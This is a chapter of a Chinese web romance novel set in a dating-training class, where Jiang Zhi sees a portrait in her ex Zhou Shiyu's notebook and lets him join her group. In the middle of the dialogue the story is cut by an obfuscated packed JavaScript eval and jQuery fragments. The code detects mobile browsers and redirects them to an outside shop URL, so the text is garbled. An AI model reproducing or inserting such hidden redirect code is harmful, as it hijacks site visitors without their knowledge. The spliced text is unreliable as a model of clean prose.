4. 画像

作品:《恋爱培训班

    一星期后,恋爱小考的日子如期而至。


    姜知必须承认,时间计量的形式有了些许不同。


    傍晚踏入培训班时,除了闹心和烦躁,也会偶尔有点好奇。


    ——他们到底还能作什么妖。


    好奇的情绪本就是难得的,有次上课要求给喜欢的人画一张画,姜知伏案画得很放松,笔触划过幕布时,颜料在上面留下一个个鲜艳分明的色块。成年后再没精力去勾勒一个具体的轮廓,这便是一成不变的生活中无法获得的。


    也让她知道,熟悉的一日三餐,账单报表之外,还有那么一个地方可以躲避下现实。


    至于之前耿耿于怀的事,姜知闷闷地想。


    那天周时屿没有说反驳她的话,就是真的已经有了目标。报班打算提升自己,结果正好在这遇到前女友,正好用她来锻炼恋爱技巧,用那点趋近于无的旧情。


    姜知踏进培训班的门槛,脚边的叶片正好被微风吹起。


    -


    培训班的学员按顺序准备一对一考核,其他人就等在教室里。刘子芸从座位上走过来,把姜知拉到一边:“我和你说,高明这个人不简单。”


    女孩的脸隐在阴影里,眼神却过分的亮,小声控诉道:“每一道题他都答对了!”


    姜知想了想,没真正放在心上:“都是一些很浅表的题目吧,培训班不至于真的为难你们。”


    刘子芸急着倾诉,甚至没注意到“你们”的主语:“但满分诶!一星期!你能够想象吗?”


    看她手舞足蹈的样子,姜知笑着调侃:“说不定他暗恋你很久了。”


    刘子芸放下拉姜知手腕的手,脸瞬间红了,“胡说什么。”


    “你得了多少?”她也有点好奇测试的难度,于是问。


    “呃,正好及格。”


    又有一对搭档答完题出来了,面上带着愠色。好像是没及格要留堂,他们互相指责对方不上心,骂骂咧咧的声音吸引了大片人的目光。


    “反正我觉得那种人,一定是个海王,来培训就是为了骗女孩子的。”刘子芸忿忿不平。


    “说我什么坏话呢。”高明走过来,他今天换成了运动套装,一头栗色的卷毛显得有点青春,刘海被红黑色的发带掀起,露出张扬的眉毛。


    刘子芸没想隐瞒,阴阳怪气:“就是你作弊得满分的事啊。”


    高明听了后哈哈大笑,“小芸你真可爱,可能是因为我比较懂女孩子的心吧。”


    姜知问他:“情史丰富?”


    也不像啊。


    “我有三个姐姐,她们从小就爱和我玩。”


    眼见刘子芸用看“耀祖”的眼神撇他,高明急忙澄清:“表的!我可是家里的独苗,我姐也都是各自家庭的掌上明珠。”


    “哦。”刘子芸背过身去,不说话了。


    高明也感到奇怪:“我懂你这件事很让你生气吗?”


    他用眼神向姜知求助。


    姜知没说话,其实能理解她的不爽,谁愿意被人轻易就看透?还是在这么短的时间内。


    但刘子芸转过来,认真地对高明说:“不是这回事,是感觉……你拿我当做跳板。你知道吗,让人觉得不真诚。”


    跳板。


    这两个字不轻不重地敲在心上,解答了这段时间烦闷的来由——竟然同时准确形容出了姜知的感受,当跳板什么的,周时屿不也是这样对她的吗?于是看高明也不怎么顺眼了:“对啊,被你利用还不能生气了,少对美女的要求那么多。”


    “行行,都是我的错呗。”高明倒也没计较,打个哈哈就过去了。


    “所以他没有否认。”


    刘子芸的视线还是落在那个走远的背影。她身穿粉色polo杉,中长发披在肩上,看上去像颗水蜜桃,说话时却蔫蔫的。


    姜知不想见刘子芸消沉,却也不知该如何安慰。


    就像做题,认真去了解每道题的底层逻辑,和只是为了应试记下考试步骤,学会的速度当然是不一样的。


    没有谁对谁错,只是正好,他们想要的东西不一样。


    -


    姜知路过走廊时撞掉了一本笔记本。


    本来不是什么大不了的事,但当她捡起来,书本的封面写着“周时屿”,熟悉的字迹让她停下了脚步。


    姜知的思绪被牵着走了一瞬,培训班下发的带着爱心的笔记本,早被她不知道扔到哪个角落,眼前的却记得满满当当。


    什么“吸引力基础与初始印象”、“开启对话的艺术”,那些姜知根本懒得仔细听的内容。


    他的字确实很好看。不是刻板工整的学霸体,行云流水,有点飘逸,总之和本人的性格完全不符。


    她更在意的是,有次作业让他们给喜欢的人画一幅画——那张米黄色的画纸,就被压在书页的下面。


    四下无人,手不自主按在纸张背后。有个声音正催促她,愈演愈烈,像诱惑女神佩托在耳边低语。


    只要看一眼,不就都有答案了吗?


    周时屿此时正站在门口,被人群围困着。


    不得不承认,他的气质很好,和高明那种轻浮又浑浊的感觉不一样,像是成人世界难得的明净。


    一圈人追着他问:“你有组了吗?不如来我们组吧,我们组的待遇很好的。”


    但是周时屿只会退开一步距离,说已经有了。


    问话的人看了姜知一眼,遗憾道:“那好吧。”


    -


    姜知实在是太好奇了,对于他忘不了的人。


    反正也是好心帮忙捡起来,她忍了又忍,还是望过去。


    那张画像暴露在了视野里。


    “姜知?不是说下楼买奶茶吗?”刘子芸喊她。


    “哦哦,来了。”


    姜知站起身,腿已经蹲麻了,然而和心里的震撼相比根本算不上什么。她把画放回去,重新用书页压好。


    -


    替身。


    这个词飞进脑子里的时候,自己都吓了一跳。


    她并不是有意这样联想,但画上的人,实在和她太像了。准确说是大学时的她。


    眼尾带笑,身上的明黄色很是晃眼——高饱和度的长款衬衣,她曾经最日常的装扮。


    好像在记忆深处,有什么尘封的东西与之对应。太过遥远,转瞬即逝。


    高明不知道从哪个犄角旮旯飞了回来,打乱了姜知的胡思乱想。


    他把发带取下来了,可怜巴巴地晃着姜知的手臂:“姐姐姐姐,真的不考虑把他收入囊中吗?”


    姜知装傻:“谁?”


    高明:“嘿嘿,你懂的。”


    那天之后,姜知也搞懂了高明他们非拉周时屿入伙的原因,就是这个恋爱小组,竟然是有经费的啊!


    但经费多少要靠路人投票决定,直观的第一印象无疑就是脸了。


    姜知无奈看着揪她衣角的手:“要是我不能帮你们拉到他,是不是就把我踢出去?”


    一旁的刘子芸急忙说:“他确有此意,但我对你坚贞不渝!”


    高明:?


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16992528|193783||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    “我可能会抛下你吗?我多仗义!”


    他喃喃道:“也是为了我们组的生活水平考虑嘛……你忍心泼天的富贵就这样给别人,然后我们在路边啃红薯?”


    “唯利是图,市侩。”姜知容忍不了。


    高明低头求饶,双手合十:“错了姐,就帮我们这一次吧。”


    姜知想了想:“和小芸道歉。”


    -


    那两人对视一眼。高明抬手飞快在刘子芸的脑袋上揉了一下,然后若无其事地插回口袋里:“对不起。”


    刘子芸的杏眼微眯起,这姑娘有轻微的近视又不喜欢戴眼镜,所以姜知猜测她是想看清高明的表情。


    “请你吃饭?”高明也不再端着了,声音放柔,“好啦,卡刷我的,你不是最喜欢吃二街那家鲍鱼饭了吗?”


    刘子芸“哼”了一声,转身想走。


    高明去抓她的手腕,是下意识的动作。


    但和直接扯姜知的袖口不同,只虚虚地环在表面,当刘子芸回头看时,他又迅速松开,触电一般。


    小年轻闹矛盾的样子还是很好看的,姜知在旁边乐得不行。


    -


    不过很快就笑不出来了,导师宣布,让她和周时屿去候场。


    人群中心的人这才得以解放,向她跑来。


    他跑得不急不徐,头发柔顺地贴在额前,没打领带,衬衫领口随意地敞着,露出漂亮的锁骨。仿佛又回到了学生时代,在主席台上发言的模样。


    他们并肩走了会,旁边的白墙向外延伸,映着名为罗曼蒂克的光束。


    “那个四人小组,你有组了?”姜知状似无意地开口。


    周时屿摇头:“没有。”


    明明和他们不是这样说的。她还在思考接下来的措辞,就听见他问:“姜知,我可以来你们组吗?”


    语气诚恳,双眼一眨不眨地看着她。


    姜知突然又不想就范,撇过头:“要是我不同意呢?”


    他像是没料到,低下头去盯自己的鞋尖:“那我就没地方可去了。”


    怎么看上去还有点可怜?


    “少来。”她根本不信。


    周时屿没说话,依旧维持刚刚的姿势,额前黑发安静地垂落着,双手贴在身体的两侧,喉结滚了滚。


    这副样子。拒绝的话堵在喉咙里,变成一声极轻的叹息。


    “……行吧。”


    他这才抬头,眼睛都亮了:“真的?”


    对视时,周时屿望着姜知笑了一下,瞳孔里闪过细碎的亮影。


    是头顶正在放映的那盏星空投影灯。


    -


    “笑什么?”她问,不理解这个笑容出现的意义。


    她只是状似施舍地、勉为其难地答应而已。只是和高明一样,做了个功利又市侩的决定。连自己都想谴责自己。


    但是周时屿说:“高兴。”


    姜知停下脚步,有个从未有过的猜想出现在脑海。


    项链,奶茶,画像,串成早早被排除的另一种可能——难道说,他还没放下的人是她?


    她很快收回这般不切实际的想法。


    从结果看,他们分开的三年完全没联系过,只是非常偶然地在这里重逢了;从情感上来说,当时的交互又不深,并且还很不和睦。


    他的追求者一直都没断过,又怎么会念念不忘一个甩了他的人?


    姜知摇了摇头,大概只是正好喜欢这种类型。


    替身……说到底,还是不愿意把他想得那样坏。